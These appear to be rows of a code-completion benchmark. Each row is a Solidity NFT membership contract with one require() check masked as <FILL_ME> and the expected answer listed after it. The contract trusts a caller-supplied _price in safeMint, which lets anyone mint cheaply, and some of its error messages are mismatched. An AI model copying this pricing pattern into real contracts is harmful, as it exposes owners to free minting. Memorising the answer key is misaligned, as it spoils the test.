function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| nft2023MembersWL[_address]==false&&nft2022And2023MembersWL[_address]==false&&nftStaffsWL[_address]==false&&nft2022MembersWL[_address]==false,"You are in the whitelist already!" | 498,947 | nft2023MembersWL[_address]==false&&nft2022And2023MembersWL[_address]==false&&nftStaffsWL[_address]==false&&nft2022MembersWL[_address]==false |
"You can only mint Staff NFT!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
require (msg.value >= _price, "Not enough Balance sent; check price!");
if(_nftType == 1) {
require(<FILL_ME>)
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(
nft2023MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
if(nft2022And2023MembersWL[msg.sender] == true) {
require(isCheck2022PlayerMint[msg.sender] == true, "You should mint 2022 member NFT at first!");
}
require(isCheck2023PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 2) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(
nft2022MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
require(isCheck2022PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 3) {
require(nftStaffsWL[msg.sender] == true, "You have no permission to mint Staff NFT!");
require(nft2022And2023MembersWL[msg.sender] == false, "You can only mint 2022/2023 Member NFTs!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(isCheckStaffMint[msg.sender] == false, "You minted Staff NFT already!");
}
// Current counter value will be the minted token's token ID.
uint256 tokenId = _tokenIdCounter.current();
// Mint the token
_safeMint(msg.sender, 1);
// set Token URI
_setTokenURI(tokenId, _tokenURI);
// Increment it so next time it's correct when we call .current()
_tokenIdCounter.increment();
if(_nftType == 1) {
isCheck2023PlayerMint[msg.sender] = true;
} else if(_nftType == 2) {
isCheck2022PlayerMint[msg.sender] = true;
} else if(_nftType == 3) {
isCheckStaffMint[msg.sender] = true;
}
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| nftStaffsWL[msg.sender]==false,"You can only mint Staff NFT!" | 498,947 | nftStaffsWL[msg.sender]==false |
"You can only mint 2022 Member NFT!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
require (msg.value >= _price, "Not enough Balance sent; check price!");
if(_nftType == 1) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(<FILL_ME>)
require(
nft2023MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
if(nft2022And2023MembersWL[msg.sender] == true) {
require(isCheck2022PlayerMint[msg.sender] == true, "You should mint 2022 member NFT at first!");
}
require(isCheck2023PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 2) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(
nft2022MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
require(isCheck2022PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 3) {
require(nftStaffsWL[msg.sender] == true, "You have no permission to mint Staff NFT!");
require(nft2022And2023MembersWL[msg.sender] == false, "You can only mint 2022/2023 Member NFTs!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(isCheckStaffMint[msg.sender] == false, "You minted Staff NFT already!");
}
// Current counter value will be the minted token's token ID.
uint256 tokenId = _tokenIdCounter.current();
// Mint the token
_safeMint(msg.sender, 1);
// set Token URI
_setTokenURI(tokenId, _tokenURI);
// Increment it so next time it's correct when we call .current()
_tokenIdCounter.increment();
if(_nftType == 1) {
isCheck2023PlayerMint[msg.sender] = true;
} else if(_nftType == 2) {
isCheck2022PlayerMint[msg.sender] = true;
} else if(_nftType == 3) {
isCheckStaffMint[msg.sender] = true;
}
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| nft2022MembersWL[msg.sender]==false,"You can only mint 2022 Member NFT!" | 498,947 | nft2022MembersWL[msg.sender]==false |
"You have no premission to mint 2023 Member NFT!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
require (msg.value >= _price, "Not enough Balance sent; check price!");
if(_nftType == 1) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(<FILL_ME>)
if(nft2022And2023MembersWL[msg.sender] == true) {
require(isCheck2022PlayerMint[msg.sender] == true, "You should mint 2022 member NFT at first!");
}
require(isCheck2023PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 2) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(
nft2022MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
require(isCheck2022PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 3) {
require(nftStaffsWL[msg.sender] == true, "You have no permission to mint Staff NFT!");
require(nft2022And2023MembersWL[msg.sender] == false, "You can only mint 2022/2023 Member NFTs!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(isCheckStaffMint[msg.sender] == false, "You minted Staff NFT already!");
}
// Current counter value will be the minted token's token ID.
uint256 tokenId = _tokenIdCounter.current();
// Mint the token
_safeMint(msg.sender, 1);
// set Token URI
_setTokenURI(tokenId, _tokenURI);
// Increment it so next time it's correct when we call .current()
_tokenIdCounter.increment();
if(_nftType == 1) {
isCheck2023PlayerMint[msg.sender] = true;
} else if(_nftType == 2) {
isCheck2022PlayerMint[msg.sender] = true;
} else if(_nftType == 3) {
isCheckStaffMint[msg.sender] = true;
}
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| nft2023MembersWL[msg.sender]==true||nft2022And2023MembersWL[msg.sender]==true,"You have no premission to mint 2023 Member NFT!" | 498,947 | nft2023MembersWL[msg.sender]==true||nft2022And2023MembersWL[msg.sender]==true |
"You should mint 2022 member NFT at first!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
require (msg.value >= _price, "Not enough Balance sent; check price!");
if(_nftType == 1) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(
nft2023MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
if(nft2022And2023MembersWL[msg.sender] == true) {
require(<FILL_ME>)
}
require(isCheck2023PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 2) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(
nft2022MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
require(isCheck2022PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 3) {
require(nftStaffsWL[msg.sender] == true, "You have no permission to mint Staff NFT!");
require(nft2022And2023MembersWL[msg.sender] == false, "You can only mint 2022/2023 Member NFTs!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(isCheckStaffMint[msg.sender] == false, "You minted Staff NFT already!");
}
// Current counter value will be the minted token's token ID.
uint256 tokenId = _tokenIdCounter.current();
// Mint the token
_safeMint(msg.sender, 1);
// set Token URI
_setTokenURI(tokenId, _tokenURI);
// Increment it so next time it's correct when we call .current()
_tokenIdCounter.increment();
if(_nftType == 1) {
isCheck2023PlayerMint[msg.sender] = true;
} else if(_nftType == 2) {
isCheck2022PlayerMint[msg.sender] = true;
} else if(_nftType == 3) {
isCheckStaffMint[msg.sender] = true;
}
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| isCheck2022PlayerMint[msg.sender]==true,"You should mint 2022 member NFT at first!" | 498,947 | isCheck2022PlayerMint[msg.sender]==true |
"You minted 2023 player NFT already!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
require (msg.value >= _price, "Not enough Balance sent; check price!");
if(_nftType == 1) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(
nft2023MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
if(nft2022And2023MembersWL[msg.sender] == true) {
require(isCheck2022PlayerMint[msg.sender] == true, "You should mint 2022 member NFT at first!");
}
require(<FILL_ME>)
}
if(_nftType == 2) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(
nft2022MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
require(isCheck2022PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 3) {
require(nftStaffsWL[msg.sender] == true, "You have no permission to mint Staff NFT!");
require(nft2022And2023MembersWL[msg.sender] == false, "You can only mint 2022/2023 Member NFTs!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(isCheckStaffMint[msg.sender] == false, "You minted Staff NFT already!");
}
// Current counter value will be the minted token's token ID.
uint256 tokenId = _tokenIdCounter.current();
// Mint the token
_safeMint(msg.sender, 1);
// set Token URI
_setTokenURI(tokenId, _tokenURI);
// Increment it so next time it's correct when we call .current()
_tokenIdCounter.increment();
if(_nftType == 1) {
isCheck2023PlayerMint[msg.sender] = true;
} else if(_nftType == 2) {
isCheck2022PlayerMint[msg.sender] = true;
} else if(_nftType == 3) {
isCheckStaffMint[msg.sender] = true;
}
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| isCheck2023PlayerMint[msg.sender]==false,"You minted 2023 player NFT already!" | 498,947 | isCheck2023PlayerMint[msg.sender]==false |
"You can only mint 2023 Member NFT!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
require (msg.value >= _price, "Not enough Balance sent; check price!");
if(_nftType == 1) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(
nft2023MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
if(nft2022And2023MembersWL[msg.sender] == true) {
require(isCheck2022PlayerMint[msg.sender] == true, "You should mint 2022 member NFT at first!");
}
require(isCheck2023PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 2) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(<FILL_ME>)
require(
nft2022MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
require(isCheck2022PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 3) {
require(nftStaffsWL[msg.sender] == true, "You have no permission to mint Staff NFT!");
require(nft2022And2023MembersWL[msg.sender] == false, "You can only mint 2022/2023 Member NFTs!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(isCheckStaffMint[msg.sender] == false, "You minted Staff NFT already!");
}
// Current counter value will be the minted token's token ID.
uint256 tokenId = _tokenIdCounter.current();
// Mint the token
_safeMint(msg.sender, 1);
// set Token URI
_setTokenURI(tokenId, _tokenURI);
// Increment it so next time it's correct when we call .current()
_tokenIdCounter.increment();
if(_nftType == 1) {
isCheck2023PlayerMint[msg.sender] = true;
} else if(_nftType == 2) {
isCheck2022PlayerMint[msg.sender] = true;
} else if(_nftType == 3) {
isCheckStaffMint[msg.sender] = true;
}
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
